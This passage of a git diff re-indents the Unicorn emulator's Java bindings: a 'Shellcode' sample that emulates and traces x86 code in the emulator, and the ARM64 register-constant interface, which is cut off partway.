r_ecx.intValue(), r_edx.intValue(), new String(buffer))); - break; - } - } - } + // ECX = buffer address + r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX); - static void test_i386() - { - Long r_esp = ADDRESS + 0x200000L; // ESP register - - System.out.print("Emulate i386 code\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_SELF); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp); - - // tracing all instructions by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // handle interrupt ourself - u.hook_add(new MyInterruptHook(), null); - - System.out.print("\n>>> Start tracing this Linux code\n"); - - // emulate machine code in infinite time - // u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0); - - System.out.print("\n>>> Emulation done.\n"); - - u.close(); - } - - public static void main(String args[]) - { - if (args.length == 1) { - if ("-32".equals(args[0])) { - test_i386(); - } - } else { - System.out.print("Syntax: java Shellcode <-32|-64>\n"); - } - - } + // EDX = buffer size + r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX); + + // read the buffer in + size = (int) Math.min(256, r_edx); + + byte[] buffer = u.mem_read(r_ecx, size); + System.out.print(String.format( + ">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n", + r_eip.intValue(), intno, r_ecx.intValue(), + r_edx.intValue(), new String(buffer))); + break; + } + } + } + + static void test_i386() { + Long r_esp = ADDRESS + 0x200000L; // ESP register + + System.out.print("Emulate i386 code\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_SELF); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp); + + // tracing all instructions by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // handle interrupt ourself + u.hook_add(new MyInterruptHook(), null); + + System.out.print("\n>>> Start tracing this Linux code\n"); + + // emulate machine code in infinite time + // u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0); + + System.out.print("\n>>> Emulation done.\n"); + + u.close(); + } + + public static void main(String args[]) { + if (args.length == 1) { + if ("-32".equals(args[0])) { + test_i386(); + } + } else { + System.out.print("Syntax: java Shellcode <-32|-64>\n"); + } + + } } diff --git a/bindings/java/unicorn/Arm64Const.java b/bindings/java/unicorn/Arm64Const.java index bb196037..5add7e11 100644 --- a/bindings/java/unicorn/Arm64Const.java +++ b/bindings/java/unicorn/Arm64Const.java @@ -4,336 +4,336 @@ package unicorn; public interface Arm64Const { -// ARM64 CPU + // ARM64 CPU - public static final int UC_CPU_ARM64_A57 = 0; - public static final int UC_CPU_ARM64_A53 = 1; - public static final int UC_CPU_ARM64_A72 = 2; - public static final int UC_CPU_ARM64_MAX = 3; - public static final int UC_CPU_ARM64_ENDING = 4; + public static final int UC_CPU_ARM64_A57 = 0; + public static final int UC_CPU_ARM64_A53 = 1; + public static final int UC_CPU_ARM64_A72 = 2; + public static final int UC_CPU_ARM64_MAX = 3; + public static final int UC_CPU_ARM64_ENDING = 4; -// ARM64 registers + // ARM64 registers - public static final int UC_ARM64_REG_INVALID = 0; - public static final int UC_ARM64_REG_X29 = 1; - public static final int UC_ARM64_REG_X30 = 2; - public static final int UC_ARM64_REG_NZCV = 3; - public static final int UC_ARM64_REG_SP = 4; - public static final int UC_ARM64_REG_WSP = 5; - public static final int UC_ARM64_REG_WZR = 6; - public static final int UC_ARM64_REG_XZR = 7; - public static final int UC_ARM64_REG_B0 = 8; - public static final int UC_ARM64_REG_B1 = 9; - public static final int UC_ARM64_REG_B2 = 10; - public static final int UC_ARM64_REG_B3 = 11; - public static final int UC_ARM64_REG_B4 = 12; - public static final int UC_ARM64_REG_B5 = 13; - public static final int UC_ARM64_REG_B6 = 14; - public static final int UC_ARM64_REG_B7 = 15; - public static final int UC_ARM64_REG_B8 = 16; - public static final int UC_ARM64_REG_B9 = 17; - public static final int UC_ARM64_REG_B10 = 18; - public static final int UC_ARM64_REG_B11 = 19; - public static final int UC_ARM64_REG_B12 = 20; - public static final int UC_ARM64_REG_B13 = 21; - public static final int UC_ARM64_REG_B14 = 22; - public static final int UC_ARM64_REG_B15 = 23; - public static final int UC_ARM64_REG_B16 = 24; - public static final int UC_ARM64_REG_B17 = 25; - public static final int UC_ARM64_REG_B18 = 26; - public static final int UC_ARM64_REG_B19 = 27; - public static final int UC_ARM64_REG_B20 = 28; - public static final int UC_ARM64_REG_B21 = 29; - public static final int UC_ARM64_REG_B22 = 30; - public static final int UC_ARM64_REG_B23 = 31; - public static final int UC_ARM64_REG_B24 = 32; - public static final int UC_ARM64_REG_B25 = 33; - public static final int UC_ARM64_REG_B26 = 34; - public static final int UC_ARM64_REG_B27 = 35; - public static final int UC_ARM64_REG_B28 = 36; - public static final int UC_ARM64_REG_B29 = 37; - public static final int UC_ARM64_REG_B30 = 38; - public static final int UC_ARM64_REG_B31 = 39; - public static final int UC_ARM64_REG_D0 = 40; - public static final int UC_ARM64_REG_D1 = 41; - public static final int UC_ARM64_REG_D2 = 42; - public static final int UC_ARM64_REG_D3 = 43; - public static final int UC_ARM64_REG_D4 = 44; - public static final int UC_ARM64_REG_D5 = 45; - public static final int UC_ARM64_REG_D6 = 46; - public static final int UC_ARM64_REG_D7 = 47; - public static final int UC_ARM64_REG_D8 = 48; - public static final int UC_ARM64_REG_D9 = 49; - public static final int UC_ARM64_REG_D10 = 50; - public static final int UC_ARM64_REG_D11 = 51; - public static final int UC_ARM64_REG_D12 = 52; - public static final int UC_ARM64_REG_D13 = 53; - public static final int UC_ARM64_REG_D14 = 54; - public static final int UC_ARM64_REG_D15 = 55; - public static final int UC_ARM64_REG_D16 = 56; - public static final int UC_ARM64_REG_D17 = 57; - public static final int UC_ARM64_REG_D18 = 58; - public static final int UC_ARM64_REG_D19 = 59; - public static final int UC_ARM64_REG_D20 = 60; - public static final int UC_ARM64_REG_D21 = 61; - public static final int UC_ARM64_REG_D22 = 62; - public static final int UC_ARM64_REG_D23 = 63; - public static final int UC_ARM64_REG_D24 = 64; - public static final int UC_ARM64_REG_D25 = 65; - public static final int UC_ARM64_REG_D26 = 66; - public static final int UC_ARM64_REG_D27 = 67; - public static final int UC_ARM64_REG_D28 = 68; - public static final int UC_ARM64_REG_D29 = 69; - public static final int UC_ARM64_REG_D30 = 70; - public static final int UC_ARM64_REG_D31 = 71; - public static final int UC_ARM64_REG_H0 = 72; - public static final int UC_ARM64_REG_H1 = 73; - public static final int UC_ARM64_REG_H2 = 74; - public static final int UC_ARM64_REG_H3 = 75; - public static final int UC_ARM64_REG_H4 = 76; - public static final int UC_ARM64_REG_H5 = 77; - public static final int UC_ARM64_REG_H6 = 78; - public static final int UC_ARM64_REG_H7 = 79; - public static final int UC_ARM64_REG_H8 = 80; - public static final int UC_ARM64_REG_H9 = 81; - public static final int UC_ARM64_REG_H10 = 82; - public static final int UC_ARM64_REG_H11 = 83; - public static final int UC_ARM64_REG_H12 = 84; - public static final int UC_ARM64_REG_H13 = 85; - public static final int UC_ARM64_REG_H14 = 86; - public static final int UC_ARM64_REG_H15 = 87; - public static final int UC_ARM64_REG_H16 = 88; - public static final int UC_ARM64_REG_H17 = 89; - public static final int UC_ARM64_REG_H18 = 90; - public static final int UC_ARM64_REG_H19 = 91; - public static final int UC_ARM64_REG_H20 = 92; - public static final int UC_ARM64_REG_H21 = 93; - public static final int UC_ARM64_REG_H22 = 94; - public static final int UC_ARM64_REG_H23 = 95; - public static final int UC_ARM64_REG_H24 = 96; - public static final int UC_ARM64_REG_H25 = 97; - public static final int UC_ARM64_REG_H26 = 98; - public static final int UC_ARM64_REG_H27 = 99; - public static final int UC_ARM64_REG_H28 = 100; - public static final int UC_ARM64_REG_H29 = 101; - public static final int UC_ARM64_REG_H30 = 102; - public static final int UC_ARM64_REG_H31 = 103; - public static final int UC_ARM64_REG_Q0 = 104; - public static final int UC_ARM64_REG_Q1 = 105; - public static final int UC_ARM64_REG_Q2 = 106; - public static final int UC_ARM64_REG_Q3 = 107; - public static final int UC_ARM64_REG_Q4 = 108; - public static final int UC_ARM64_REG_Q5 = 109; - public static final int UC_ARM64_REG_Q6 = 110; - public static final int UC_ARM64_REG_Q7 = 111; - public static final int UC_ARM64_REG_Q8 = 112; - public static final int UC_ARM64_REG_Q9 = 113; - public static final int UC_ARM64_REG_Q10 = 114; - public static final int UC_ARM64_REG_Q11 = 115; - public static final int UC_ARM64_REG_Q12 = 116; - public static final int UC_ARM64_REG_Q13 = 117; - public static final int UC_ARM64_REG_Q14 = 118; - public static final int UC_ARM64_REG_Q15 = 119; - public static final int UC_ARM64_REG_Q16 = 120; - public static final int UC_ARM64_REG_Q17 = 121; - public static final int UC_ARM64_REG_Q18 = 122; - public static final int UC_ARM64_REG_Q19 = 123; - public static final int UC_ARM64_REG_Q20 = 124; - public static final int UC_ARM64_REG_Q21 = 125; - public static final int UC_ARM64_REG_Q22 = 126; - public static final int UC_ARM64_REG_Q23 = 127; - public static final int UC_ARM64_REG_Q24 = 128; - public static final int UC_ARM64_REG_Q25 = 129; - public static final int UC_ARM64_REG_Q26 = 130; - public static final int UC_ARM64_REG_Q27 = 131; - public static final int UC_ARM64_REG_Q28 = 132; - public static final int UC_ARM64_REG_Q29 = 133; - public static final int UC_ARM64_REG_Q30 = 134; - public static final int UC_ARM64_REG_Q31 = 135; - public static final int UC_ARM64_REG_S0 = 136; - public static final int UC_ARM64_REG_S1 = 137; - public static final int UC_ARM64_REG_S2 = 138; - public static final int UC_ARM64_REG_S3 = 139; - public static final int UC_ARM64_REG_S4 = 140; - public static final int UC_ARM64_REG_S5 = 141; - public static final int UC_ARM64_REG_S6 = 142; - public static final int UC_ARM64_REG_S7 = 143; - public static final int UC_ARM64_REG_S8 = 144; - public static final int UC_ARM64_REG_S9 = 145; - public static final int UC_ARM64_REG_S10 = 146; - public static final int UC_ARM64_REG_S11 = 147; - public static final int UC_ARM64_REG_S12 = 148; - public static final int UC_ARM64_REG_S13 = 149; - public static final int UC_ARM64_REG_S14 = 150; - public static final int UC_ARM64_REG_S15 = 151; - public static final int UC_ARM64_REG_S16 = 152; - public static final int UC_ARM64_REG_S17 = 153; - public static final int UC_ARM64_REG_S18 = 154; - public static final int UC_ARM64_REG_S19 = 155; - public static final int UC_ARM64_REG_S20 = 156; - public static final int UC_ARM64_REG_S21 = 157; - public static final int UC_ARM64_REG_S22 = 158; - public static final int UC_ARM64_REG_S23 = 159; - public static final int UC_ARM64_REG_S24 = 160; - public static final int UC_ARM64_REG_S25 = 161; - public static final int UC_ARM64_REG_S26 = 162; - public static final int UC_ARM64_REG_S27 = 163; - public static final int UC_ARM64_REG_S28 = 164; - public static final int UC_ARM64_REG_S29 = 165; - public static final int UC_ARM64_REG_S30 = 166; - public static final int UC_ARM64_REG_S31 = 167; - public static final int UC_ARM64_REG_W0 = 168; - public static final int UC_ARM64_REG_W1 = 169; - public static final int UC_ARM64_REG_W2 = 170; - public static final int UC_ARM64_REG_W3 = 171; - public static final int UC_ARM64_REG_W4 = 172; - public static final int UC_ARM64_REG_W5 = 173; - public static final int UC_ARM64_REG_W6 = 174; - public static final int UC_ARM64_REG_W7 = 175; - public static final int UC_ARM64_REG_W8 = 176; - public static final int UC_ARM64_REG_W9 = 177; - public static final int UC_ARM64_REG_W10 = 178; - public static final int UC_ARM64_REG_W11 = 179; - public static final int UC_ARM64_REG_W12 = 180; - public static final int UC_ARM64_REG_W13 = 181; - public static final int UC_ARM64_REG_W14 = 182; - public static final int UC_ARM64_REG_W15 = 183; - public static final int UC_ARM64_REG_W16 = 184; - public static final int UC_ARM64_REG_W17 = 185; - public static final int UC_ARM64_REG_W18 = 186; - public static final int UC_ARM64_REG_W19 = 187; - public static final int UC_ARM64_REG_W20 = 188; - public static final int UC_ARM64_REG_W21 = 189; - public static final int UC_ARM64_REG_W22 = 190; - public static final int UC_ARM64_REG_W23 = 191; - public static final int UC_ARM64_REG_W24 = 192; - public static final int UC_ARM64_REG_W25 = 193; - public static final int UC_ARM64_REG_W26 = 194; - public static final int UC_ARM64_REG_W27 = 195; - public static final int UC_ARM64_REG_W28 = 196; - public static final int UC_ARM64_REG_W29 = 197; - public static final int UC_ARM64_REG_W30 = 198; - public static final int UC_ARM64_REG_X0 = 199; - public static final int UC_ARM64_REG_X1 = 200; - public static final int UC_ARM64_REG_X2 = 201; - public static final int UC_ARM64_REG_X3 = 202; - public static final int UC_ARM64_REG_X4 = 203; - public static final int UC_ARM64_REG_X5 = 204; - public static final int UC_ARM64_REG_X6 = 205; - public static final int UC_ARM64_REG_X7 = 206; - public static final int UC_ARM64_REG_X8 = 207; - public static final int UC_ARM64_REG_X9 = 208; - public static final int UC_ARM64_REG_X10 = 209; - public static final int UC_ARM64_REG_X11 = 210; - public static final int UC_ARM64_REG_X12 = 211; - public static final int UC_ARM64_REG_X13 = 212; - public static final int UC_ARM64_REG_X14 = 213; - public static final int UC_ARM64_REG_X15 = 214; - public static final int UC_ARM64_REG_X16 = 215; - public static final int UC_ARM64_REG_X17 = 216; - public static final int UC_ARM64_REG_X18 = 217; - public static final int UC_ARM64_REG_X19 = 218; - public static final int UC_ARM64_REG_X20 = 219; - public static final int UC_ARM64_REG_X21 = 220; - public static final int UC_ARM64_REG_X22 = 221; - public static final int UC_ARM64_REG_X23 = 222; - public static final int UC_ARM64_REG_X24 = 223; - public static final int UC_ARM64_REG_X25 = 224; - public static final int UC_ARM64_REG_X26 = 225; - public static final int UC_ARM64_REG_X27 = 226; - public static final int UC_ARM64_REG_X28 = 227; - public static final int UC_ARM64_REG_V0 = 228; - public static final int UC_ARM64_REG_V1 = 229; - public static final int UC_ARM64_REG_V2 = 230; - public static final int UC_ARM64_REG_V3 = 231; - public static final int UC_ARM64_REG_V4 = 232; - public static final int UC_ARM64_REG_V5 = 233; - public static final int UC_ARM64_REG_V6 = 234; - public static final int UC_ARM64_REG_V7 = 235; - public static final int UC_ARM64_REG_V8 = 236; - public static final int UC_ARM64_REG_V9 = 237; - public static final int UC_ARM64_REG_V10 = 238; - public static final int UC_ARM64_REG_V11 = 239; - public static final int UC_ARM64_REG_V12 = 240; - public static final int UC_ARM64_REG_V13 = 241; - public static final int UC_ARM64_REG_V14 = 242; - public static final int UC_ARM64_REG_V15 = 243; - public static final int UC_ARM64_REG_V16 = 244; - public static final int UC_ARM64_REG_V17 = 245; - public static final int UC_ARM64_REG_V18 = 246; - public static final int UC_ARM64_REG_V19 = 247; - public static final int UC_ARM64_REG_V20 = 248; - public static final int UC_ARM64_REG_V21 = 249; - public static final int UC_ARM64_REG_V22 = 250; - public static final int UC_ARM64_REG_V23 = 251; - public static final int UC_ARM64_REG_V24 = 252; - public static final int UC_ARM64_REG_V25 = 253; - public static final int UC_ARM64_REG_V26 = 254; - public static final int UC_ARM64_REG_V27 = 255; - public static final int UC_ARM64_REG_V28 = 256; - public static final int UC_ARM64_REG_V29 = 257; - public static final int UC_ARM64_REG_V30 = 258; - public static final int UC_ARM64_REG_V31 = 259; + public static final int UC_ARM64_REG_INVALID = 0; + public static final int UC_ARM64_REG_X29 = 1; + public static final int UC_ARM64_REG_X30 = 2; + public static final int UC_ARM64_REG_NZCV = 3; + public static final int UC_ARM64_REG_SP = 4; + public static final int UC_ARM64_REG_WSP = 5; + public static final int UC_ARM64_REG_WZR = 6; + public static final int UC_ARM64_REG_XZR = 7; + public static final int UC_ARM64_REG_B0 = 8; + public static final int UC_ARM64_REG_B1 = 9; + public static final int UC_ARM64_REG_B2 = 10; + public static final int UC_ARM64_REG_B3 = 11; + public static final int UC_ARM64_REG_B4 = 12; + public static final int UC_ARM64_REG_B5 = 13; + public static final int UC_ARM64_REG_B6 = 14; + public static final int UC_ARM64_REG_B7 = 15; + public static final int UC_ARM64_REG_B8 = 16; + public static final int UC_ARM64_REG_B9 = 17; + public static final int UC_ARM64_REG_B10 = 18; + public static final int UC_ARM64_REG_B11 = 19; + public static final int UC_ARM64_REG_B12 = 20; + public static final int UC_ARM64_REG_B13 = 21; + public static final int UC_ARM64_REG_B14 = 22; + public static final int UC_ARM64_REG_B15 = 23; + public static final int UC_ARM64_REG_B16 = 24; + public static final int UC_ARM64_REG_B17 = 25; + public static final int UC_ARM64_REG_B18 = 26; + public static final int UC_ARM64_REG_B19 = 27; + public static final int UC_ARM64_REG_B20 = 28; + public static final int UC_ARM64_REG_B21 = 29; + public static final int UC_ARM64_REG_B22 = 30; + public static final int UC_ARM64_REG_B23 = 31; + public static final int UC_ARM64_REG_B24 = 32; + public static final int UC_ARM64_REG_B25 = 33; + public static final int UC_ARM64_REG_B26 = 34; + public static final int UC_ARM64_REG_B27 = 35; + public static final int UC_ARM64_REG_B28 = 36; + public static final int UC_ARM64_REG_B29 = 37; + public static final int UC_ARM64_REG_B30 = 38; + public static final int UC_ARM64_REG_B31 = 39; + public static final int UC_ARM64_REG_D0 = 40; + public static final int UC_ARM64_REG_D1 = 41; + public static final int UC_ARM64_REG_D2 = 42; + public static final int UC_ARM64_REG_D3 = 43; + public static final int UC_ARM64_REG_D4 = 44; + public static final int UC_ARM64_REG_D5 = 45; + public static final int UC_ARM64_REG_D6 = 46; + public static final int UC_ARM64_REG_D7 = 47; + public static final int UC_ARM64_REG_D8 = 48; + public static final int UC_ARM64_REG_D9 = 49; + public static final int UC_ARM64_REG_D10 = 50; + public static final int UC_ARM64_REG_D11 = 51; + public static final int UC_ARM64_REG_D12 = 52; + public static final int UC_ARM64_REG_D13 = 53; + public static final int UC_ARM64_REG_D14 = 54; + public static final int UC_ARM64_REG_D15 = 55; + public static final int UC_ARM64_REG_D16 = 56; + public static final int UC_ARM64_REG_D17 = 57; + public static final int UC_ARM64_REG_D18 = 58; + public static final int UC_ARM64_REG_D19 = 59; + public static final int UC_ARM64_REG_D20 = 60; + public static final int UC_ARM64_REG_D21 = 61; + public static final int UC_ARM64_REG_D22 = 62; + public static final int UC_ARM64_REG_D23 = 63; + public static final int UC_ARM64_REG_D24 = 64; + public static final int UC_ARM64_REG_D25 = 65; + public static final int UC_ARM64_REG_D26 = 66; + public static final int UC_ARM64_REG_D27 = 67; + public static final int UC_ARM64_REG_D28 = 68; + public static final int UC_ARM64_REG_D29 = 69; + public static final int UC_ARM64_REG_D30 = 70; + public static final int UC_ARM64_REG_D31 = 71; + public static final int UC_ARM64_REG_H0 = 72; + public static final int UC_ARM64_REG_H1 = 73; + public static final int UC_ARM64_REG_H2 = 74; + public static final int UC_ARM64_REG_H3 = 75; + public static final int UC_ARM64_REG_H4 = 76; + public static final int UC_ARM64_REG_H5 = 77; + public static final int UC_ARM64_REG_H6 = 78; + public static final int UC_ARM64_REG_H7 = 79; + public static final int UC_ARM64_REG_H8 = 80; + public static final int UC_ARM64_REG_H9 = 81; + public static final int UC_ARM64_REG_H10 = 82; + public static final int UC_ARM64_REG_H11 = 83; + public static final int UC_ARM64_REG_H12 = 84; + public static final int UC_ARM64_REG_H13 = 85; + public static final int UC_ARM64_REG_H14 = 86; + public static final int UC_ARM64_REG_H15 = 87; + public static final int UC_ARM64_REG_H16 = 88; + public static final int UC_ARM64_REG_H17 = 89; + public static final int UC_ARM64_REG_H18 = 90; + public static final int UC_ARM64_REG_H19 = 91; + public static final int UC_ARM64_REG_H20 = 92; + public static final int UC_ARM64_REG_H21 = 93; + public static final int UC_ARM64_REG_H22 = 94; + public static final int UC_ARM64_REG_H23 = 95; + public static final int UC_ARM64_REG_H24 = 96; + public static final int UC_ARM64_REG_H25 = 97; + public static final int UC_ARM64_REG_H26 = 98; + public static final int UC_ARM64_REG_H27 = 99; + public static final int UC_ARM64_REG_H28 = 100; + public static final int UC_ARM64_REG_H29 = 101; + public static final int UC_ARM64_REG_H30 = 102; + public static final int UC_ARM64_REG_H31 = 103; + public static final int UC_ARM64_REG_Q0 = 104; + public static final int UC_ARM64_REG_Q1 = 105; + public static final int UC_ARM64_REG_Q2 = 106; + public static final int UC_ARM64_REG_Q3 = 107; + public static final int UC_ARM64_REG_Q4 = 108; + public static final int UC_ARM64_REG_Q5 = 109; + public static final int UC_ARM64_REG_Q6 = 110; + public static final int UC_ARM64_REG_Q7 = 111; + public static final int UC_ARM64_REG_Q8 = 112; + public static final int UC_ARM64_REG_Q9 = 113; + public static final int UC_ARM64_REG_Q10 = 114; + public static final int UC_ARM64_REG_Q11 = 115; + public static final int UC_ARM64_REG_Q12 = 116; + public static final int UC_ARM64_REG_Q13 = 117; + public static final int UC_ARM64_REG_Q14 = 118; + public static final int UC_ARM64_REG_Q15 = 119; + public static final int UC_ARM64_REG_Q16 = 120; + public static final int UC_ARM64_REG_Q17 = 121; + public static final int UC_ARM64_REG_Q18 = 122; + public static final int UC_ARM64_REG_Q19 = 123; + public static final int UC_ARM64_REG_Q20 = 124; + public static final int UC_ARM64_REG_Q21 = 125; + public static final int UC_ARM64_REG_Q22 = 126; + public static final int UC_ARM64_REG_Q23 = 127; + public static final int UC_ARM64_REG_Q24 = 128; + public static final int UC_ARM64_REG_Q25 = 129; + public static final int UC_ARM64_REG_Q26 = 130; + public static final int UC_ARM64_REG_Q27 = 131; + public static final int UC_ARM64_REG_Q28 = 132; + public static final int UC_ARM64_REG_Q29 = 133; + public static final int UC_ARM64_REG_Q30 = 134; + public static final int UC_ARM64_REG_Q31 = 135; + public static final int UC_ARM64_REG_S0 = 136; + public static final int UC_ARM64_REG_S1 = 137; + public static final int UC_ARM64_REG_S2 = 138; + public static final int UC_ARM64_REG_S3 = 139; + public static final int UC_ARM64_REG_S4 = 140; + public static final int UC_ARM64_REG_S5 = 141; + public static final int UC_ARM64_REG_S6 = 142; + public static final int UC_ARM64_REG_S7 = 143; + public static final int UC_ARM64_REG_S8 = 144; + public static final int UC_ARM64_REG_S9 = 145; + public static final int UC_ARM64_REG_S10 = 146; + public static final int UC_ARM64_REG_S11 = 147; + public static final int UC_ARM64_REG_S12 = 148; + public static final int UC_ARM64_REG_S13 = 149; + public static final int UC_ARM64_REG_S14 = 150; + public static final int UC_ARM64_REG_S15 = 151; + public static final int UC_ARM64_REG_S16 = 152; + public static final int UC_ARM64_REG_S17 = 153; + public static final int UC_ARM64_REG_S18 = 154; + public static final int UC_ARM64_REG_S19 = 155; + public static final int UC_ARM64_REG_S20 = 156; + public static final int UC_ARM64_REG_S21 = 157; + public static final int UC_ARM64_REG_S22 = 158; + public static final int UC_ARM64_REG_S23 = 159; + public static final int UC_ARM64_REG_S24 = 160; + public static final int UC_ARM64_REG_S25 = 161; + public static final int UC_ARM64_REG_S26 = 162; + public static final int UC_ARM64_REG_S27 = 163; + public static final int UC_ARM64_REG_S28 = 164; + public static final int UC_ARM64_REG_S29 = 165; + public static final int UC_ARM64_REG_S30 = 166; + public static final int UC_ARM64_REG_S31 = 167; + public static final int UC_ARM64_REG_W0 = 168; + public static final int UC_ARM64_REG_W1 = 169; + public static final int UC_ARM64_REG_W2 = 170; + public static final int UC_ARM64_REG_W3 = 171; + public static final int UC_ARM64_REG_W4 = 172; + public static final int UC_ARM64_REG_W5 = 173; + public static final int UC_ARM64_REG_W6 = 174; + public static final int UC_ARM64_REG_W7 = 175; + public static final int UC_ARM64_REG_W8 = 176; + public static final int UC_ARM64_REG_W9 = 177; + public static final int UC_ARM64_REG_W10 = 178; + public static final int UC_ARM64_REG_W11 = 179; + public static final int UC_ARM64_REG_W12 = 180; + public static final int UC_ARM64_REG_W13 = 181; + public static final int UC_ARM64_REG_W14 = 182; + public static final int UC_ARM64_REG_W15 = 183; + public static final int UC_ARM64_REG_W16 = 184; + public static final int UC_ARM64_REG_W17 = 185; + public static final int UC_ARM64_REG_W18 = 186; + public static final int UC_ARM64_REG_W19 = 187; + public static final int UC_ARM64_REG_W20 = 188; + public static final int UC_ARM64_REG_W21 = 189; + public static final int UC_ARM64_REG_W22 = 190; + public static final int UC_ARM64_REG_W23 = 191; + public static final int UC_ARM64_REG_W24 = 192; + public static final int UC_ARM64_REG_W25 = 193; + public static final int UC_ARM64_REG_W26 = 194; + public static final int UC_ARM64_REG_W27 = 195; + public static final int UC_ARM64_REG_W28 = 196; + public static final int UC_ARM64_REG_W29 = 197; + public static final int UC_ARM64_REG_W30 = 198; + public static final int UC_ARM64_REG_X0 = 199; + public static final int UC_ARM64_REG_X1 = 200; + public static final int UC_ARM64_REG_X2 = 201; + public static final int UC_ARM64_REG_X3 = 202; + public static final int UC_ARM64_REG_X4 = 203; + public static final int UC_ARM64_REG_X5 = 204; + public static final int UC_ARM64_REG_X6 = 205; + public static final int UC_ARM64_REG_X7 = 206; + public static final int UC_ARM64_REG_X8 = 207; + public static final int UC_ARM64_REG_X9 = 208; + public static final int UC_ARM64_REG_X10 = 209; + public static final int UC_ARM64_REG_X11 = 210; + public static final int UC_ARM64_REG_X12 = 211; + public static final int UC_ARM64_REG_X13 = 212; + public static final int UC_ARM64_REG_X14 = 213; + public static final int UC_ARM64_REG_X15 = 214; + public static final int UC_ARM64_REG_X16 = 215; + public static final int UC_ARM64_REG_X17 = 216; + public static final int UC_ARM64_REG_X18 = 217; + public static final int UC_ARM64_REG_X19 = 218; + public static final int UC_ARM64_REG_X20 = 219; + public static final int UC_ARM64_REG_X21 = 220; + public static final int UC_ARM64_REG_X22 = 221; + public static final int UC_ARM64_REG_X23 = 222; + public static final int UC_ARM64_REG_X24 = 223; + public static final int UC_ARM64_REG_X25 = 224; + public static final int UC_ARM64_REG_X26 = 225; + public static final int UC_ARM64_REG_X27 = 226; + public static final int UC_ARM64_REG_X28 = 227; + public static final int UC_ARM64_REG_V0 = 228; + public static final int UC_ARM64_REG_V1 = 229; + public static final int UC_ARM64_REG_V2 = 230; + public static final int UC_ARM64_REG_V3 = 231; + public static final int UC_ARM64_REG_V4 = 232; + public static final int UC_ARM64_REG_V5 = 233; + public static final int UC_ARM64_REG_V6 = 234; + public static final int UC_ARM64_REG_V7 = 235; + public static final int UC_ARM64_REG_V8 = 236; + public static final int UC_ARM64_REG_V9 = 237; + public static final int UC_ARM64_REG_V10 = 238; + public static final int UC_ARM64_REG_V11 = 239; + public static final int UC_ARM64_REG_V12 = 240; + public static final int UC_ARM64_REG_V13 = 241; + public static final int UC_ARM64_REG_V14 = 242; + public static final int UC_ARM64_REG_V15 = 243; + public static final int UC_ARM64_REG_V16 = 244; + public static final int UC_ARM64_REG_V17 = 245; + public static final int UC_ARM64_REG_V18 = 246; + public static final int UC_ARM64_REG_V19 = 247; + public static final int UC_ARM64_REG_V20 = 248; + public static final int UC_ARM64_REG_V21 = 249; + public static final int UC_ARM64_REG_V22 = 250; + public static final int UC_ARM64_REG_V23 = 251; + public static final int UC_ARM64_REG_V24 = 252; + public static final int UC_ARM64_REG_V25 = 253; + public static final int UC_ARM64_REG_V26 = 254; + public static final int UC_ARM64_REG_V27 = 255; + public static final int UC_ARM64_REG_V28 = 256; + public static final int UC_ARM64_REG_V29 = 257; + public static final int UC_ARM64_REG_V30 = 258; + public static final int UC_ARM64_REG_V31 = 259; -// pseudo registers - public static final int UC_ARM64_REG_PC = 260; - public static final int UC_ARM64_REG_CPACR_EL1 = 261; + // pseudo registers + public static final int UC_ARM64_REG_PC = 260; + public static final int UC_ARM64_REG_CPACR_EL1 = 261; -// thread registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_TPIDR_EL0 = 262; - public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263; - public static final int UC_ARM64_REG_TPIDR_EL1 = 264; - public static final int UC_ARM64_REG_PSTATE = 265; + // thread registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_TPIDR_EL0 = 262; + public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263; + public static final int UC_ARM64_REG_TPIDR_EL1 = 264; + public static final int UC_ARM64_REG_PSTATE = 265; -// exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_ELR_EL0 = 266; - public static final int UC_ARM64_REG_ELR_EL1 = 267; - public static final int UC_ARM64_REG_ELR_EL2 = 268; - public static final int UC_ARM64_REG_ELR_EL3 = 269; + // exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_ELR_EL0 = 266; + public static final int UC_ARM64_REG_ELR_EL1 = 267; + public static final int UC_ARM64_REG_ELR_EL2 = 268; + public static final int UC_ARM64_REG_ELR_EL3 = 269; -// stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_SP_EL0 = 270; - public static final int UC_ARM64_REG_SP_EL1 = 271; - public static final int UC_ARM64_REG_SP_EL2 = 272; - public static final int UC_ARM64_REG_SP_EL3 = 273; + // stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_SP_EL0 = 270; + public static final int UC_ARM64_REG_SP_EL1 = 271; + public static final int UC_ARM64_REG_SP_EL2 = 272; + public static final int UC_ARM64_REG_SP_EL3 = 273; -// other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_TTBR0_EL1 